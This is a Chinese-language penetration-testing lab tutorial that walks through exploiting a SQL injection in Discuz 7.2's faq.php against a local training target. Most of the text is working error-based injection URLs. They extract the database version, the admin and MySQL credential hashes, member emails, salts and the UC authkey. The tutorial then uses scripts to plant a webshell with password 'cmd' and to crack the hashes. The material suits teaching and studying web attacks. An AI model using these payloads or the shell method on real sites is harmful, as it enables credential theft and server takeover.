Web安全-Discuz 7.2 版本SQL注入漏洞的利用
Discuz 7.2 版本SQL注入漏洞的利用
本教程仅供网站进行渗透测试，请勿用于非法途径！！造成任何危害，均由个人负全责！！
实验目的
通过本实验理解SQL注入基本原理由于过程，掌握菜刀和Havij等注入工具的使用方法，了解SQL注入的危害。通过本实验，掌握SQL注入点识别方法、测试方法、自动化工具使用方法以及进行防御的基本方法。
实验环境
测试渗透机：win2k8Tester
用户名: college或test密码: 360College
工具：Firefox或chrome浏览器
目标靶机：Discuz7网站
用户名: college密码: 360College
目标网站：http://IP:8082
软件环境：phpstudy、Discuz7.2
实验原理
作为一种SQL注入攻击，其核心思想就是在组合的SQL查询语句中，插入构造的特殊语句，从而实现特定的目的。其关键是对目标的漏洞发现、分析和针对漏洞构造特殊的SQL语句，入侵的方式是非常巧妙的。
实验步骤
第一步 启动靶机服务器
以用户名college或test密码360College登录目标靶机。
然后启动其中的phpstudy，并点击界面中的启动，出现mysql和apache为两个绿色圆点，表示服务启动成功。
启动phpstudy（桌面图标）：
如果，显示不是两个绿色标志，则等待一会，按下重启按钮，再次尝试。
第二步 渗透平台上的漏洞利用
1.登录渗透平台，访问靶机网站
访问靶机。http://IP:8082 (注意根据查看到的靶机IP地址，修改此处的IP，端口不变，以下截图中，均应将端口修改为8082)。
2.浏览网页
点击其中的链接，如果地址栏出现http://***/xx.php?id=XX，则表明目标网站，采用PHP语言开发。
3.手工SQL注入
（1）获取数据库版本信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23
输出如下：
可以看到，mysql数据库版本为：5.5.401.
（2）获取管理员账户密码
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉最后的1
获得的密文值，要去掉最后的1。 例如： Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key' 密文就是f426eaa50a5c805d360ca4046419c6ba。
（3）获取数据库用户名和密码
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
（4）获取用户名、email、密码和salt信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
说明：如果获取失败，则将uc_members替换为ucenter.uc_members，再次尝试。
（5）获取uc_key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,33,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
如果上述语句执行出错，则：利用 ucenter.uc_applications 替代uc_applications即可.
这里需要注意 由于authkey的长度限制，最大可取62个长度单位，所以采用两次获取的方法，先获取前32位，再获取后32位.
两次查询出错，返回key的相应值。
Error: Duplicate entry '1:n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc:' for key 'group_key' Error: Duplicate entry '1:b7U8ocxcX7O8b5D56dd358sdLew363s7:' for key 'group_key'
对返回的key进行合并，得到最后key ：
n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc b7U8ocxcX7O8b5D56dd358sdLew363s7
（6）利用UC_KEY来getshell
利用dz72-faq-exp.php脚本（在操作机Tools/PHP运行环境目录下），可进行get-shell，需要修改网站目标和UC_KEY的值。
$host="http://IP:8082"; //此处只能指定到网站根目录。如果网站在根目录下有文件夹，则需要修改脚本中的路径变量值。
$uc_key="x xxxxxx xxxxxx xxxxxx xxxxxx xxxxxx xx"
放在php.exe的环境里直接getshell. 运行：php.exe dz72-faq-exp.php 成功会显示。
一句话的地址是http://IP:8082/config.inc.php密码cmd。
上面获取shell的步骤有点麻烦，首先要通过注入语句获取uc_key，然后利用uc_key获取webshell。 可利用auto-get-shell.py脚本自动完成上面步骤来获取webshell。
使用方法： python auto-get-shell.py http://IP:8082 N N:为需要获取的用户信息数量。
首先取N=1，如果能正常运行，再增大。如果N大于实际用户数，报错，但是不影响运行结果。
如果出错，利用打开auto-get-shell.py，删除其中的”/Discuz72”，后保存，再运行。 即可得到用户名和密码散列值，剩下的就是去cmd5查询密码了。
思考与总结
通过本实验，体验到了网站渗透的危害和一种思路过程。也提醒网站运维人员，必须加强安全意识，一个漏洞就可能让网站失控。
